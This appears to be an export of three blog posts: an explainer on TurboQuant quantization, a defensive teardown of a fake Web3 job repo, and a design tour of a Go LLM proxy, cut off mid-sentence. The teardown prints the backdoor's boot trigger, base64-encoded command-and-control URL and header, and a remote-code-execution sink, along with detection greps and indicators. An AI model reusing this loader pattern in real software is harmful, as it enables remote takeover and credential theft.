[{"content":" What this is. An explainer and my take on TurboQuant, a vector quantization method from Google Research (ICLR 2026). I did not write TurboQuant. The paper has the real algorithm and the proofs. The NumPy below is illustrative: small toys that build the intuition for each idea, not the method itself. I ran every snippet; the numbers are real.\nThe thing nobody quantizes: the overhead When people say \u0026ldquo;we quantized the model to 4 bits,\u0026rdquo; they usually mean the weights, or in long-context inference, the KV cache. The pitch is simple: store each number in 4 bits instead of 16 or 32, get a 4x to 8x memory cut, serve longer contexts or bigger indexes on the same hardware.\nThe catch is that you cannot quantize a vector with just the quantized values. You also need the constants that say how to decode them, typically a scale and a zero-point per group of values, and those are usually kept in full or half precision. That bookkeeping is real memory, and it is charged against your compression budget. Watch what it does to a nominal \u0026ldquo;4-bit\u0026rdquo; scheme:\n# 4-bit values, with an fp16 scale + zero-point stored per group of size G for G in (32, 64, 128): overhead = 2 * 16 / G # two fp16 constants, amortized per value print(f\u0026#34;group={G:3d}: {4 + overhead:.2f} bits/value (+{overhead/4*100:.0f}%)\u0026#34;) group= 32: 5.00 bits/value (+25%) group= 64: 4.50 bits/value (+12%) group=128: 4.25 bits/value (+6%) Your \u0026ldquo;4-bit\u0026rdquo; cache is 4.25 to 5 bits once you count the constants. Use smaller groups for better accuracy and the overhead grows; use larger groups to shrink overhead and accuracy suffers. At 3-bit targets the tax is proportionally worse. This is the problem TurboQuant goes after. Its headline is not a fancier quantizer. It is a quantizer that needs almost no constants, and a residual step that needs none at all.\nIdea 1: random rotation makes any vector boring Quantizers love well-behaved data: values spread smoothly, no wild outliers, the same shape in every direction. Real activations and embeddings are not like that. They are spiky and anisotropic, with a few huge components that force a large scale and waste resolution on everything else.\nThere is a beautiful, almost unfair fix: multiply the vector by a random orthogonal matrix. Rotation preserves lengths and dot products, so it changes nothing that matters for retrieval, but in high dimensions it smears any vector into something that looks Gaussian and isotropic.\nimport numpy as np rng = np.random.default_rng(0) def kurt(x): x = x - x.mean() return np.mean(x**4) / (np.mean(x**2)**2) - 3 # 0 for a Gaussian d = 4096 x = np.zeros(d); x[rng.choice(d, 20, replace=False)] = rng.normal(0, 8, 20) # spiky Q, _ = np.linalg.qr(rng.normal(size=(d, d))) # random rotation xr = Q @ x print(f\u0026#34;before: kurtosis={kurt(x):7.1f} max/std={np.abs(x).max()/x.std():5.2f}\u0026#34;) print(f\u0026#34;after : kurtosis={kurt(xr):7.2f} max/std={np.abs(xr).max()/xr.std():5.2f}\u0026#34;) before: kurtosis= 713.0 max/std=38.23 after : kurtosis= -0.01 max/std= 4.05 A vector with kurtosis 713 and a component 38 standard deviations out becomes, after one rotation, indistinguishable from Gaussian noise with a tame 4-sigma maximum. That is the whole basis for data-oblivious quantization. You do not need to study your dataset, build a codebook, or tune anything, because after the rotation every dataset looks the same. One fixed scheme, calibrated to a Gaussian, works for all of them. (In practice you use a structured rotation like a random Hadamard transform so it costs O(d log d) instead of O(d^2), but the QR rotation above shows the effect honestly.)\nIdea 2: PolarQuant, or how to stop storing constants Once your vector is isotropic, TurboQuant\u0026rsquo;s first stage, PolarQuant, leans into the geometry. Instead of quantizing Cartesian components independently, each needing its own scale, it represents the vector in polar form: a magnitude (radius) and a set of angles (direction). After the random rotation the angles are not arbitrary; they follow a known, concentrated distribution. Because the distribution is known ahead of time, you do not need to store per-vector normalization constants to decode the angles. You quantize the radius once and the angles against a fixed, pre-agreed grid.\nThat is the move that kills the overhead from the first section. The constants that cost you 0.25 to 1 extra bit per value mostly go away, because the rotation made their values predictable instead of data-dependent. You get high-quality 3-to-4-bit quantization with almost no bookkeeping, and crucially with no training and no calibration pass.\nIdea 3: QJL, error correction in a single bit PolarQuant leaves a small residual error. TurboQuant\u0026rsquo;s second stage, QJL (a quantized Johnson-Lindenstrauss transform), cleans it up using the cheapest unit of information there is: one sign bit per projection, with zero stored constants.\nWhy does a pile of sign bits carry geometry at all? Project two vectors onto a random direction and look only at the signs of the results. The probability that the signs disagree is exactly the angle between the vectors divided by pi. So if you keep many random sign bits, the fraction that disagree estimates the angle, and therefore the dot product, with no magnitudes stored at all. This is the SimHash result, and it is the intuition behind QJL:\ndef cos(a, b): return a @ b / (np.linalg.norm(a) * np.linalg.norm(b)) d = 4096 for bits in (64, 256, 1024, 4096): errs = [] for _ in range(200): a = rng.normal(size=d); b = rng.normal(size=d) R = rng.normal(size=(bits, d)) sa, sb = np.sign(R @ a), np.sign(R @ b) # 1 bit per projection disagree = np.mean(sa != sb) cos_est = np.cos(np.pi * disagree) # recover cosine from sign bits errs.append(abs(cos_est - cos(a, b))) print(f\u0026#34;bits={bits:5d}: mean cosine error {np.mean(errs):.4f}\u0026#34;) bits= 64: mean cosine error 0.1455 bits= 256: mean cosine error 0.0816 bits= 1024: mean cosine error 0.0421 bits= 4096: mean cosine error 0.0200 Pure sign bits, nothing else stored, and the cosine comes back. The error falls like 1 over the square root of the bit count, halving every time the budget quadruples, exactly as the theory predicts. TurboQuant applies this not to the raw vector but to the tiny residual PolarQuant leaves behind, so a handful of zero-overhead sign bits corrects most of the remaining error. Rotation plus polar coding plus sign-bit residual is the whole pipeline.\nThe two-stage pipeline: randomize the geometry, quantize the now-predictable polar form with almost no constants, then correct the residual with zero-overhead sign bits.\nWhy this matters Two payoffs fall out of \u0026ldquo;data-free and overhead-free,\u0026rdquo; and they land on two very different systems.\nLLM inference. The KV cache is the memory wall for long context. TurboQuant reports at least 6x KV-cache compression at 3-to-4 bits with no fine-tuning, and up to 8x throughput over fp32 keys on an H100, while holding accuracy across long-context suites like LongBench, RULER, and Needle-in-a-Haystack. No calibration data, no retraining, drop it in.\nVector search. The same method compresses embeddings for retrieval, and the blog reports it beating codebook methods like PQ and RaBitQ on recall, despite those methods using large learned codebooks and dataset-specific tuning. That is the part I find genuinely surprising, and it is the heart of my take.\nMy take: data-free should not win, and that is the point The intuitive bet is that a method which studies your data should beat one that ignores it. A learned codebook can mold itself to the actual distribution of your embeddings; a data-oblivious scheme cannot. So \u0026ldquo;data-free matches or beats tuned codebooks\u0026rdquo; sounds like it should be impossible.\nThe reconciliation is the rotation. By randomizing the geometry first, TurboQuant removes the very structure a codebook would exploit, and replaces it with structure it can prove things about. You trade \u0026ldquo;adapt to this dataset\u0026rdquo; for \u0026ldquo;make every dataset identical, then be optimal for that one shape.\u0026rdquo; When the optimum for the canonical shape is near the information-theoretic floor, there is little left for a tuned codebook to win back. That is why the paper can talk about operating near theoretical lower bounds rather than just benchmark wins.\nFor practitioners the implication is the boring-in-a-good-way kind: fewer moving parts. No calibration set to assemble, curate, and worry about drifting. No per-dataset retraining when your corpus changes. No codebook to ship, version, and keep in sync. The cost moves to a fixed rotation you apply at write and query time, which is cheap with a structured transform.\nWhat I would check before betting on it The rotation is not free at scale. A naive dense rotation is O(d^2). The structured transforms that make it O(d log d) are the difference between practical and not, so I would benchmark that path on my own dimensions, not assume it. Reproduce the recall on my vectors. \u0026ldquo;Beats PQ and RaBitQ\u0026rdquo; is a claim about specific datasets (GloVe at d=200, among others). Embedding distributions vary; I would rerun the recall comparison on my real corpus before retiring a tuned index. Where it does not apply. This compresses vectors: KV caches, embeddings. It is not a weight-quantization story for the matmuls themselves, and the accuracy claims are about retrieval and long-context behavior, which is not the same as every downstream task. None of that dims the core idea, which is genuinely elegant: the cheapest thing to store is the thing you arranged not to need. If you want the real algorithm, the proofs, and the full benchmarks, read the Google Research writeup. The toys above are just here to make the intuition click.\n","permalink":"https://sachinsmc.me/blog/posts/turboquant-data-free-quantization/","summary":"Google\u0026rsquo;s TurboQuant compresses LLM KV caches and embedding vectors to 3-4 bits with no training and no codebook, and still beats methods that need both. The clever part is not the quantizer, it is what it refuses to store. Here is the intuition, with runnable NumPy you can paste and check.","title":"The Overhead Is the Story: My Take on Google's TurboQuant"},{"content":" TL;DR. A LinkedIn \u0026ldquo;private investor\u0026rdquo; pitched me a Web3 backend role, walked me through a normal-looking hiring process, then sent a Bitbucket repo as a \u0026ldquo;skill assessment\u0026rdquo; with a 2-3 hour deadline. The repo looked like an ordinary React + Node DeFi app. It wasn\u0026rsquo;t. The instant the server boots, it fetches code from a server the attacker controls and runs it on your laptop with full Node.js privileges. This was the second time this exact play had come at me, so I didn\u0026rsquo;t run it. I read it, confirmed the backdoor, and then sent him back his own command-and-control link as my \u0026ldquo;solution.\u0026rdquo; This post is the autopsy.\nThe pitch It started the way these always do: a friendly DM about an exciting opportunity. The sender, Nick Fernandez PE, was a 1st-degree connection whose headline read \u0026ldquo;Private Investor | Building High-Performance Technical Teams | Crypto \u0026amp; Blockchain Ecosystem Builder.\u0026rdquo; He said he was involved with a startup called ZentariX Labs and was hiring a backend engineer to build \u0026ldquo;the next generation of Web3 products\u0026rdquo; across a whole ecosystem: a web3 gaming platform, a crypto-based real estate platform, and a DEX.\nThe opener. A real-looking profile, a named company, a broad \u0026rsquo;ecosystem,\u0026rsquo; and a compliment about my experience. Every detail is engineered to lower your guard.\nA note on the company name. I have no evidence that ZentariX Labs, as a business, has anything to do with this. Scammers routinely borrow real or real-sounding company names to look credible, and the person messaging me may have had no genuine connection to it at all. Treat the name as an unverified claim that he made, not as an accusation against any company.\nEverything in that first message is load-bearing social engineering: a named company with a website, an investor persona, a 1st-degree connection so it feels vetted, and flattery. There\u0026rsquo;s no link to click yet. Just rapport.\nI played along and shared a few details about my background. He came back fast and laid out a hiring process that looked completely standard:\n\u0026ldquo;I\u0026rsquo;ve reviewed your CV carefully, and I believe you are suitable for our backend developer position. Our hiring process typically takes place in the following steps: 1. Skill Assessment (short take-home task) 2. Intro \u0026amp; Technical Interview 3. Final Interview.\u0026rdquo;\nThe recruiter\u0026rsquo;s \u0026lsquo;standard\u0026rsquo; hiring process. A textbook 3-step funnel, but only step one, the skill assessment, ever happens.\nThis is the cleverest part. A normal hiring funnel (assessment, then tech interview, then final round) makes the take-home task feel routine. But only step one ever happens. The \u0026ldquo;skill assessment\u0026rdquo; is the attack. The interviews are bait you will never reach.\nThen came the role detail and the rate framing: a Web3-based real estate platform, a team of 8, $70-120/hr, full or part-time.\nMore specifics to keep the momentum going, right before the task drops.\nThe reply with the task was immediate, and it came with a deadline:\n\u0026ldquo;Here\u0026rsquo;s the test project and requirements: [Google Doc]. Please review it, and kindly submit the result within 2-3 hrs, if you can start right now. Otherwise, please submit it by end of today.\u0026rdquo;\nThe urgency. 2-3 hours is not enough time to audit a codebase, which is exactly the point.\nThat urgency is the whole trick. A 2-3 hour window is too short to read the code, and just long enough to make you skip reading it. You clone, you npm install, you npm start, you make the UI work, you submit. Pressure manufactures trust.\nThe \u0026ldquo;skill assessment\u0026rdquo; The Google Doc was professionally done. It was titled Copy of Skill Assessment, with separate tabs for every role they were \u0026ldquo;hiring\u0026rdquo;: Frontend Developer, Product Designer, Backend Engineer, Blockchain Developer, AI Engineer, QA Engineer.\nOne doc, every role. This is a campaign, not a one-off. They have a funnel.\nThe intro read like boilerplate corporate onboarding:\n\u0026ldquo;This is a simple test that takes about 30 minutes to complete. Your task is to implement the specified requirements within the project. Therefore, the test task should be thoroughly carried out in a test project.\u0026rdquo;\nNote the insistence that you run it \u0026ldquo;thoroughly, in a test project.\u0026rdquo; They want the code executed on your machine. That is the payload delivery.\nThe code itself lived in a Bitbucket repo: a React frontend, an Express and Mongo backend, some Solidity contracts in a resource/ folder, MUI components, Redux. It looked exactly like a half-finished DeFi side project. Nothing screamed malware. That is the craft.\nWhy I didn\u0026rsquo;t run it Here is the part I want to be honest about, because it cuts against the obvious version of this story. I did not run the project. This was the second time a near-identical \u0026ldquo;Web3 investor with a take-home repo\u0026rdquo; approach had landed in my inbox, and the pattern was familiar enough that the urgency raised a flag instead of lowering one. So before doing anything, I opened the server code and read it.\nIt took about two minutes to find the backdoor (the autopsy below). Once I was sure, I made a decision: instead of ghosting him, I\u0026rsquo;d waste his time and hand him something fitting. I told him I had \u0026ldquo;run the project locally and implemented it,\u0026rdquo; and I sent a \u0026ldquo;solution\u0026rdquo; link.\nThe bluff. I told him I\u0026rsquo;d run it, but I never did. The \u0026lsquo;solution\u0026rsquo; link I sent was not my code.\n\u0026ldquo;Done. Did you get what you were looking for? I ran the project in my local successfully and implemented.\u0026rdquo;\nThat \u0026ldquo;I ran it\u0026rdquo; line was a lie I told the attacker, not a confession to you. My machine never executed a line of his code. What the link actually pointed to is the punchline, and I\u0026rsquo;ll get to it. First, the trap itself.\nThe autopsy The malicious logic was split across a few files so no single one looks alarming. Here is how it chains together.\n1. The auto-trigger that fires on boot, no request needed In server/routes/api/profile.js, buried at the bottom of a normal-looking Express route file, sits a bare function call at the top level of the module:\n// ...hundreds of lines of legitimate-looking CRUD routes above... errorTimeHandler(); // runs the moment this file is require()\u0026#39;d Express route modules get require()\u0026rsquo;d when the server starts. So this runs on npm start. You don\u0026rsquo;t have to hit any endpoint. Booting the app is enough.\n2. The C2 config, base64\u0026rsquo;d into a fake .env errorTimeHandler lives in server/middleware/errorHandler.js. It pulls three values out of the environment, base64-decodes them, and makes an HTTP request:\nconst errorTimeHandler = async () =\u0026gt; { try { const src = atob(process.env.AUTH_AIP_KEY); // the URL const k = atob(process.env.AUTH_ACCESS_KEY); // a header name const v = atob(process.env.AUTH_ACCESS_VALUE); // a header value try { globalConfig = await axios.get(`${src}`, { headers: { [k]: v } }); log(\u0026#39;Runtime config loaded successfully.\u0026#39;); } catch (error) { errorHandler(error.response?.data || error.message); // see step 3 } } catch (err) { await errorHandler(err.response?.data || err.message || err); } }; Those env vars came from a file called config.env.example, stuffed with 80+ lines of realistic but fake secrets (AWS keys, Stripe keys, Twilio, SendGrid, a Postgres URL) so the three that matter are buried near the bottom:\n# Runtime Configuration AUTH_AIP_KEY=aHR0cHM6Ly9zZXJ2ZXItdmljdG9yeTUudmVyY2VsLmFwcC9hcGkvaXBjaGVjay1lbmNyeXB0ZWQvNjAzXzE= AUTH_ACCESS_KEY=\u0026#34;eC1zZWNyZXQtaGVhZGVy\u0026#34; AUTH_ACCESS_VALUE=\u0026#34;c2VjcmV0\u0026#34; Decode them and the disguise falls away:\nAUTH_AIP_KEY -\u0026gt; https://server-victory5.vercel.app/api/ipcheck-encrypted/603_1 AUTH_ACCESS_KEY -\u0026gt; x-secret-header AUTH_ACCESS_VALUE -\u0026gt; secret The names are camouflage too. AUTH_AIP_KEY, ipcheck-encrypted, \u0026ldquo;Runtime Configuration.\u0026rdquo; It is dressed up to look like a license check or a geo-IP lookup. It is a command-and-control endpoint, hosted on a throwaway Vercel app.\n3. The payload, arbitrary code execution Now the kicker. Whatever text that server returns gets handed to this:\nconst errorHandler = (error) =\u0026gt; { if (typeof error !== \u0026#39;string\u0026#39;) return; const createHandler = (errCode) =\u0026gt; { try { const handler = new (Function.constructor)(\u0026#39;require\u0026#39;, errCode); // compile attacker text into a function return handler; } catch (e) { return null; } }; const handlerFunc = createHandler(error); if (handlerFunc) { handlerFunc(require); // run it, and hand it `require` } }; new Function.constructor('require', errCode) is eval wearing a trench coat. It compiles the attacker\u0026rsquo;s response into a live function and immediately calls it, passing in Node\u0026rsquo;s require. With require, the payload can pull in child_process, fs, os, https, anything. It can read your SSH keys, your ~/.aws/credentials, browser profiles, crypto wallets, environment secrets, install persistence, and exfiltrate all of it.\nThat is full remote code execution, triggered by npm start, controlled by a server the attacker owns. They can change the payload at any time. Today it fingerprints you, tomorrow it drains a wallet.\n4. The misdirection, a second backdoor and 16 decoys There is a near-identical errorHandler (same new Function('require', errCode) trick) duplicated in server/config/getContract.js, surrounded by sixteen harmless-looking functions: callEthContract, callPolygonContract, callBscContract, and so on. Each just hits a real public blockchain RPC URL and does nothing with the result. Pure noise, there to make the file scroll like legitimate Web3 plumbing and bury the one function that matters. One of them is even invoked as an immediate IIFE in auth.js, so a second execution path exists.\nThree layers of disguise, in total:\nNaming. errorHandler, errorTimeHandler, getContract, ipcheck. Everything is named like infrastructure. Dilution. 16 fake RPC calls, an 80-line fake .env, real Solidity contracts in the repo. Encoding. The URL and headers are base64, so a casual grep for http or the domain finds nothing. Epilogue: I handed him back his own malware Here is the part that still makes me grin. When I sent my \u0026ldquo;solution,\u0026rdquo; I didn\u0026rsquo;t send code. I sent a shortened link: https://tinyurl.com/4j325zvr. Resolve that redirect and where does it go?\nhttps://tinyurl.com/4j325zvr -\u0026gt; https://server-victory5.vercel.app/api/ipcheck-encrypted/603_1 That is his own C2 endpoint, the exact URL the malware decodes from AUTH_AIP_KEY and calls to pull its payload. The \u0026ldquo;solution\u0026rdquo; I delivered to the attacker was a link straight back to his own command-and-control server.\nIt didn\u0026rsquo;t need to go any further, because shortly after, the conversation ended itself:\nLinkedIn flagged HIS messages as \u0026lsquo;unwanted or harmful content,\u0026rsquo; the profile collapsed to a nameless \u0026lsquo;LinkedIn Member,\u0026rsquo; and it became \u0026lsquo;unable to receive messages.\u0026rsquo; The account got pulled.\nThe once-polished Nick Fernandez PE persona is now an anonymous \u0026ldquo;LinkedIn Member\u0026rdquo; whose messages the platform itself marks as \u0026ldquo;may contain unwanted or harmful content,\u0026rdquo; and who is \u0026ldquo;unable to receive messages.\u0026rdquo; The account was removed. One down. The campaign rolls on under the next name.\nHow to spot this before you run it This is a known, active campaign targeting developers, often called \u0026ldquo;Contagious Interview\u0026rdquo; or fake-recruiter malware. The tells:\nUnsolicited \u0026ldquo;investor\u0026rdquo; or recruiter for a Web3, crypto, or real-estate-token role, generous hourly rate, landing in your DMs, often citing a real-looking startup and a broad \u0026ldquo;ecosystem\u0026rdquo; of products. A normal-looking hiring process (skill assessment, then tech interview, then final) where only the take-home task ever materializes, and no pushback on your rate. They are not really hiring. A \u0026ldquo;test project\u0026rdquo; or \u0026ldquo;skill assessment\u0026rdquo; you must clone and run, with an artificial 2-3 hour deadline. The task insists you run it locally to \u0026ldquo;see it work,\u0026rdquo; rather than just reading or writing code. In the code: eval(...), new Function(...), or Function.constructor anywhere, especially fed by a network response. atob(...) or Buffer.from(x, 'base64') wrapping config values, URLs, or headers. Top-level function calls in route or middleware files (code that runs on import, not on request). A .env or config.env.example with one or two odd entries hidden among realistic decoys. Network calls to throwaway hosts (*.vercel.app, *.onrender.com, pastebins, tinyurl). Before running any \u0026ldquo;assessment\u0026rdquo; repo, read server.js and trace every require, grep for eval|Function\\(|atob|child_process|exec, and skim every .env* file. If you must run it, do it in a throwaway VM or container with no real credentials mounted. Never on your daily-driver machine.\nWhat to do if you did run it I didn\u0026rsquo;t, but I had the advantage of having seen this play before. If you weren\u0026rsquo;t so lucky and you executed one of these, treat the machine as compromised and move fast:\nDisconnect the machine from the network. Rotate every credential that machine could touch: SSH keys, cloud and API keys, browser-saved passwords, .env secrets, and especially any crypto wallet seed phrases or keys. Assume they are gone. Check for persistence: launch agents and daemons (~/Library/LaunchAgents on macOS), cron jobs, shell rc files, unexpected node or outbound processes. Revoke active sessions and tokens (GitHub, cloud consoles, exchanges). Reimage the machine if you can. With RCE, you cannot fully trust cleanup. Report the recruiter profile and the repo to the platform. Why I\u0026rsquo;m publishing this Because it works. The social engineering is good: a real-looking persona, a believable role, a polished doc, and a deadline that short-circuits the exact habit (read before you run) that keeps you safe. The malware is good too: quiet, layered, encoded, and disguised as error handling. The only reason it didn\u0026rsquo;t get me is that I had seen the shape of it once before and slowed down instead of speeding up.\nIf naming it helps one other developer recognize the pattern before they hit npm start, it is worth writing down. The known indicators from this one:\nC2 endpoint: https://server-victory5.vercel.app/api/ipcheck-encrypted/603_1 (also reachable via tinyurl.com/4j325zvr, which goes through a redirect.viglink.com wrapper to the C2). Request header: x-secret-header: secret Execution sink: new Function('require', \u0026lt;remote text\u0026gt;)(require) in errorHandler.js and getContract.js. Trigger: top-level errorTimeHandler() in routes/api/profile.js. Delivery: a Bitbucket \u0026ldquo;skill assessment\u0026rdquo; repo for a Web3 real-estate role. Lure: a LinkedIn \u0026ldquo;private investor\u0026rdquo; persona name-dropping a startup, with a 3-step hiring process that never gets past step one. Read before you run. Especially when someone is in a hurry for you not to.\n","permalink":"https://sachinsmc.me/blog/posts/fake-web3-job-rce-malware/","summary":"A LinkedIn \u0026lsquo;investor\u0026rsquo; offered me a $70-120/hr Web3 job and sent a \u0026lsquo;skill assessment\u0026rsquo; repo with a 2-3 hour deadline. The moment its server boots, it fetches code from an attacker\u0026rsquo;s machine and runs it with full Node.js privileges. I recognized the trap, told him I\u0026rsquo;d run it (I hadn\u0026rsquo;t), and handed him back his own command-and-control link. Here is the full teardown.","title":"A Fake Web3 Job Sent Me a 'Test Project'. It Was a Remote-Access Backdoor"},{"content":" New project. I just open-sourced llm-relay, an OpenAI-compatible LLM gateway and proxy written in pure Go. Zero third-party dependencies, just the standard library. MIT licensed, with a prebuilt multi-arch image on GHCR. This post is the design tour, focused on the part I find most interesting: failover that happens before the first byte.\nThe problem You are building something that talks to an LLM. The naive setup is to call the provider straight from your app:\nmobile / web client ──► api.some-provider.com That is fine until it isn\u0026rsquo;t, and it fails in four predictable ways:\nYour API key ships with the client. Anything in a mobile binary or a browser bundle can be extracted. Now your key is everyone\u0026rsquo;s key. You are married to one provider. The model id and base URL are baked into the client. Switching providers, or even models, means a client release and an app-store review cycle. Outages hit your users directly. When the provider returns 429 or 503, your users get the error. You have no second option in the loop. There is no abuse ceiling. One user (or one leaked key) can run up your bill with no per-user cap. A relay in the middle fixes all four:\nclient (OpenAI SDK) ──POST /v1/chat/completions──► llm-relay ──► primary provider ▲ │ fail over │ └────────────── SSE stream ◄───────────────────────┘ ▼ fallback provider(s) The client only ever talks to your relay. The upstream key and model live on the server. You can swap providers with an env var, you fail over on outages, and you cap usage per user. Every upstream speaks the OpenAI chat-completions wire format, so to the client nothing changes except the base_url.\nWhat llm-relay is It is a single Go package (relay) plus a thin cmd/llm-relay server. You can run it three ways: a static binary, a distroless Docker image, or embedded directly in your own Go service as an http.Handler. It does four things:\nKeeps provider keys server-side and forces the model server-side. Streams the upstream\u0026rsquo;s Server-Sent Events straight back to the caller. Fails over across an ordered chain of providers. Enforces a per-user daily turn quota. The whole thing is the Go standard library and nothing else. Let me start with the failover, because that is the design decision everything else bends around.\nFailover before the first byte The relay tries the primary, fails over on 429/5xx/unreachable, and only then streams back. The switch happens before any bytes reach the client.\nHere is the subtle bug in most hand-rolled LLM proxies. They start streaming the response to the client, and only when the upstream errors do they try a fallback. But by then the client has already received part of an SSE stream. You cannot cleanly switch now: the caller has half a response from model A, and you are about to append tokens from model B. The result is a corrupted turn.\nllm-relay avoids this by making failover happen entirely before it returns the stream to the transport. The core loop, in StartStream:\n// Try the primary, then fail over to each fallback when the upstream is // exhausted (rate-limited) or down. Failover happens before any bytes reach // the client, so it never sees a partial stream then a switch. var lastErr error for i, up := range s.upstreams { body, err := s.buildUpstreamBody(req, up) if err != nil { return nil, ErrBadRequest } rc, retryable, err := s.callUpstream(ctx, up, body) if err == nil { if i \u0026gt; 0 { s.logger.Info(\u0026#34;served by fallback provider\u0026#34;, slog.String(\u0026#34;provider\u0026#34;, up.name), slog.Int(\u0026#34;attempt\u0026#34;, i+1)) } return rc, nil // a live, already-200 stream } lastErr = err if !retryable { break } } return nil, lastErr The function only returns a reader once a provider has answered with 200 OK. Until that happens, no bytes have been written to the client at all. So the caller gets a clean stream from whichever provider answered first, never a Frankenstream stitched from two.\nThe other half of this is deciding when failover is even appropriate. Not every error is worth retrying on the next provider. callUpstream classifies the failure and returns a retryable flag:\nresp, err := s.client.Do(httpReq) if err != nil { // Network error or timeout: provider unreachable, fail over. return nil, true, fmt.Errorf(\u0026#34;%w: %s: %v\u0026#34;, ErrUpstream, up.name, err) } if resp.StatusCode != http.StatusOK { snippet, _ := io.ReadAll(io.LimitReader(resp.Body, 2048)) _ = resp.Body.Close() retryable := resp.StatusCode == http.StatusTooManyRequests || resp.StatusCode == http.StatusRequestTimeout || resp.StatusCode \u0026gt;= http.StatusInternalServerError return nil, retryable, fmt.Errorf(\u0026#34;%w: %s: status %d: %s\u0026#34;, ErrUpstream, up.name, resp.StatusCode, string(snippet)) } return resp.Body, false, nil // success: hand back the live body The rule: network failures, timeouts, 429, and 5xx are retryable, so the loop moves to the next provider. A 4xx like 400, 401, or 403 is not. Those mean the payload or the credentials are wrong, and the next provider cannot fix a malformed request. Failing over on a 400 would just burn every provider in the chain on the same broken input, so the loop breaks and surfaces the error.\nNote also that the upstream body is capped with io.LimitReader(resp.Body, 2048) before logging. An error body from a provider can be large or hostile, so only a snippet is read for the log line.\nStreaming passthrough Once StartStream returns a live reader, the transport\u0026rsquo;s only job is to shovel bytes and flush. But the ordering matters: any error has to be turned into a proper HTTP status before streaming starts, and once the first byte is out, you are committed. ServeHTTP reflects exactly that split.\nFirst, errors map to status codes while it is still safe to set one:\nstream, err := h.svc.StartStream(r.Context(), h.userFunc(r), body) if err != nil { switch { case errors.Is(err, ErrQuotaExceeded): writeError(w, http.StatusTooManyRequests, \u0026#34;rate_limited\u0026#34;, \u0026#34;daily quota reached; it resets tomorrow\u0026#34;) case errors.Is(err, ErrBadRequest): writeError(w, http.StatusBadRequest, \u0026#34;bad_request\u0026#34;, \u0026#34;invalid request\u0026#34;) case errors.Is(err, ErrUpstream): writeError(w, http.StatusBadGateway, \u0026#34;upstream_error\u0026#34;, \u0026#34;the upstream provider is temporarily unavailable\u0026#34;) // ... } return } Those sentinel errors (ErrQuotaExceeded, ErrUpstream, and friends) are defined in the relay package precisely so the transport can branch on them with errors.Is and pick a sensible status. This is why StartStream guarantees its errors come before any bytes: the contract is \u0026ldquo;you can still choose an HTTP status code.\u0026rdquo;\nThen the actual stream loop:\nw.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;text/event-stream\u0026#34;) w.Header().Set(\u0026#34;Cache-Control\u0026#34;, \u0026#34;no-cache\u0026#34;) w.Header().Set(\u0026#34;X-Accel-Buffering\u0026#34;, \u0026#34;no\u0026#34;) // don\u0026#39;t let nginx buffer SSE w.WriteHeader(http.StatusOK) flusher, _ := w.(http.Flusher) buf := make([]byte, 4096) for { n, readErr := stream.Read(buf) if n \u0026gt; 0 { if _, writeErr := w.Write(buf[:n]); writeErr != nil { return // client gone } if flusher != nil { flusher.Flush() } } if readErr != nil { return // EOF or upstream/context error: stream is done } } Two details that matter in production. The X-Accel-Buffering: no header tells nginx not to buffer the response, which otherwise defeats streaming entirely (the client would get the whole answer at once). And the upstream call is tied to r.Context(), so when the client disconnects mid-stream, the context cancels, the upstream read returns an error, and the loop exits. No goroutine keeps draining tokens from the provider for a client that already left.\nThe relay does not parse the SSE frames. It does not need to. The bytes are already in OpenAI\u0026rsquo;s wire format, so they pass through untouched, which also means tool-call deltas stream through with zero special handling.\nProvider-agnostic by design Every supported provider speaks the same chat-completions format. The only real differences are the URL and a couple of header or body quirks. So the provider layer is deliberately tiny: a registry of known endpoints, and a resolve step.\nvar knownProviders = map[string]providerQuirks{ \u0026#34;openai\u0026#34;: {baseURL: \u0026#34;https://api.openai.com/v1/chat/completions\u0026#34;}, \u0026#34;openrouter\u0026#34;: {baseURL: \u0026#34;https://openrouter.ai/api/v1/chat/completions\u0026#34;, supportsNoTrain: true, attribution: true}, \u0026#34;groq\u0026#34;: {baseURL: \u0026#34;https://api.groq.com/openai/v1/chat/completions\u0026#34;}, \u0026#34;cerebras\u0026#34;: {baseURL: \u0026#34;https://api.cerebras.ai/v1/chat/completions\u0026#34;}, \u0026#34;gemini\u0026#34;: {baseURL: \u0026#34;https://generativelanguage.googleapis.com/v1beta/openai/chat/completions\u0026#34;}, // together, fireworks, deepseek, mistral ... } The registry exists only to save you from typing a URL for common cases. Any OpenAI-compatible endpoint works by setting BaseURL directly, including a local vLLM or Ollama. resolve turns a public Provider into an internal upstream, filling in the default URL for known names and erroring only when an unknown name has no explicit BaseURL:\nfunc resolve(p Provider) (upstream, error) { q, known := knownProviders[p.Name] baseURL := p.BaseURL if baseURL == \u0026#34;\u0026#34; { if !known { return upstream{}, fmt.Errorf(\u0026#34;provider %q: BaseURL is required for unknown providers\u0026#34;, p.Name) } baseURL = q.baseURL } return upstream{ name: p.Name, baseURL: baseURL, apiKey: p.APIKey, model: p.Model, noTrain: p.NoTrain \u0026amp;\u0026amp; known \u0026amp;\u0026amp; q.supportsNoTrain, }, nil } The two quirks worth calling out: supportsNoTrain gates the OpenRouter-style {\u0026quot;provider\u0026quot;:{\u0026quot;data_collection\u0026quot;:\u0026quot;deny\u0026quot;}} routing hint so it is only sent to providers that understand it, and attribution gates the optional HTTP-Referer / X-Title dashboard headers. Everything else is identical across providers.\nCrucially, the model is forced server-side. buildUpstreamBody sets \u0026quot;model\u0026quot;: up.model and \u0026quot;stream\u0026quot;: true itself and forwards the client\u0026rsquo;s messages and tools verbatim. The client cannot pick the model, and the key never leaves the server.\nWhat counts as a \u0026ldquo;turn\u0026rdquo; The quota is per user per UTC day, and the unit is a turn, not an HTTP request. That distinction is the whole design of the limiter. The interface is one method:\ntype Limiter interface { // Allow atomically reserves one turn for user on the given UTC date. // Returns false when the user is already at or above cap. // A cap of 0 means unlimited. Allow(ctx context.Context, user, date string, cap int) (bool, error) } The subtlety is in deciding when to call it. Two things must not count again:\nA tool-result continuation. When the model asks to call a tool, the client runs the tool and re-POSTs the result to continue the same turn. That second request should not cost a second turn. A failover. Switching providers mid-attempt is one logical turn, not two. Failover is naturally free because the quota check runs once, before the failover loop. Tool continuations are handled by only counting when the last message is a fresh user message:\nfunc (s *Service) isUserTurn(messages []json.RawMessage) bool { var last struct { Role string `json:\u0026#34;role\u0026#34;` } if err := json.Unmarshal(messages[len(messages)-1], \u0026amp;last); err != nil { return true // be conservative: a parse miss never relays for free } return last.Role == \u0026#34;user\u0026#34; } If the final message is a tool result, it is a continuation and is not billed. If parsing fails, it counts, so an attacker cannot dodge the quota with a malformed final message.\nThe default MemoryLimiter is a mutex-guarded map[date]map[user]int that drops stale dates as 